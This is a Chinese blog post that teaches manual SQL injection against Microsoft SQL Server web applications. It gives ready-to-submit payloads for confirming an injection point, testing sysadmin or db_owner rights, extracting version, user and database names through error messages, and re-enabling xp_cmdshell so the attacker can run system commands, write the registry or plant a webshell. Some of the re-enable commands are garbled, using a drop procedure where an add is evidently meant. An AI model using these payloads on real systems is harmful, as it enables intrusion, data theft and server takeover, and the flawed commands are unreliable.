美文网首页
mssql注入

mssql注入

作者: 卿酌南烛_b805 | 来源:发表于2020-07-28 23:35 被阅读0次

msSQl注入点的基本检测

在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后面的攻击实施方案。系统对象表。 保存当前数据库的对象,如约束、默认值、日志、规则、存储过程等

在sqlserver2005,sqlserver2008版本的数据库里,现在已经作为一个视图对象,在每一个数据库的系统视图中,都存在一个sys.sysobjects 视图对象。

sysobjects 重要字段解释:

sysObjects (

Name sysname, --object 名称

id int, --object id

xtype char(2), -- object 类型

type char(2), -- Object 类型(与xtype 似乎一模一样? 有点郁闷…)

uid smallint, -- object 所有者的ID

... --其他的字段不常用到。

)

注:需要解释的是 xtype 和type 是一模一样的,他的数据为:

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

FN = 标量函数

IF = 内嵌表函数

K = PRIMARY KEY 或 UNIQUE 约束

L = 日志

P = 存储过程

R = 规则

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

V = 视图

X = 扩展存储过程

AF = 聚合函数 (CLR)

FS = 程序集 (CLR) 标量函数

FT = 程序集 (CLR) 表值函数

IF = 内联表函数

IT = 内部表

PC = 程序集 (CLR) 存储过程

PK = PRIMARY KEY 约束(type 为 K)

SN = 同义词

SQ = 服务队列

TA = 程序集 (CLR) DML 触发器

TT = 表类型

UQ = UNIQUE 约束(type 为 K)

该表中包含该数据库中的所有对象,如有那些表 存储过程 视图 等信息

2.1.2 注入点类型的判断

首先,判断是否是MsSQL注入点,可提交如下查询.

and exists  (select* from sysobjects)

页面返回正常,则说明为MsSQL注入点。


2.1.3  注入点权限判断

再检测一下当前用户的数据库操作权限,提交如下查询

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

and 1=(select is_srvrolemember('db_owner'))

and 1=(select is_srvrolemember('public'))

如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。

DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。


.1.4  MsSQL返回信息判断

再提交如下查询。

and @@version>0

从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union

select联合查询或盲注入攻击方法。

此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

;declare @d int  //判断MsSQL支持多行语句查询

and (select count (1) from [sysobjects])>=0  //是否支持子查询

and user>O             //获取当前数据库用户名

and db_name>0              //获取当前数据库名称

and l=convert (int,db_name ())  或1=(select db_name ()) //当前数据库名

and 1=(select @@servername)                   //本地服务名

and 1=(Select HAS_DBACCESS ('master'))        //判断是否有库读取权限


用MsSQL扩展存储注入攻击

扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的

Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

检测与恢复扩展存储

提交如下查询进行检测。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell')

可查看xp_cmdshell扩展存储过程是否被删除。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where name = 'xp_regread')

可查看xp_regread扩展存储过程是否被删除。

如果扩展存储被删除,可执行如下查询进行恢复。

;exec sp_dropextendedproc 'xp_cmdshell'

上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。

;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell

如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。

;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’



攻击中最常利用的扩展存储

在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

xp_cmdshell—利用此存储过程可以直接执行系统命令。

xp_regread—利用此存储过程可以进行注册表读取。

xp_regwrit一利用此存储过程可以写入注册表。

xp_dirtre一利用此存储过程可以进行列目录操作。

xp_enumds—利用此存储过程可以进行ODBC连接。

xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

xp_makecab一一利用此存储过程可以创建压缩卷。

xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。



相关文章

  • mssql注入

    msSQl注入点的基本检测 在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后...

  • access/mssql手动注入

    一.本文介绍 1、本文介绍access手工注入、mssql注入获取webshell 二.手动注入 1、access...

  • mssql注入实验

    获取mssql网站帐号和密码 首先,判断是否是MsSQL注入点,可提交如下查询. and exists (sele...

  • SQL注入靶场—MSSQL 反弹注入

    用 id=2' 进行测试,发现报错,显示 odbc_exec() :xxxx 的错误,说明用的是MSSQL数据库:...

  • Mssql手工注入小结

    前言: 说起sql注入环境,网上流行的一些漏洞靶场基本上都是基于Mysql+Apache搭建的,所以我对mysql...

  • 网络安全-Day24-mssql注入获取webshell

    mssql注入获取webshell 1、SQL Server启用xp_cmdshell组件 1.1、通过SQL语句...

  • 网络攻击与深度防御--MSSQL高级注入

    MSSQL注入的高级应用 数据库提权 1.建立数据库用户(所有的操作均在注入点后面);exec master..s...

  • sql注入的攻击与利用

    前言 本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用,作为...

  • sqlmap Target

    Sqlmap 针对关系型数据库的自动化注入工具,如mysql,mssql,oracle NoSqlmap 针对No...

  • sqlmap

    asp 大多用access MSSQL Sqlmap -u "*" 检测是佛存在注入 返回数据库名 -T =tab...

网友评论

      本文标题:mssql注入

      本文链接:https://www.haomeiwen.com/subject/cppqrktx.html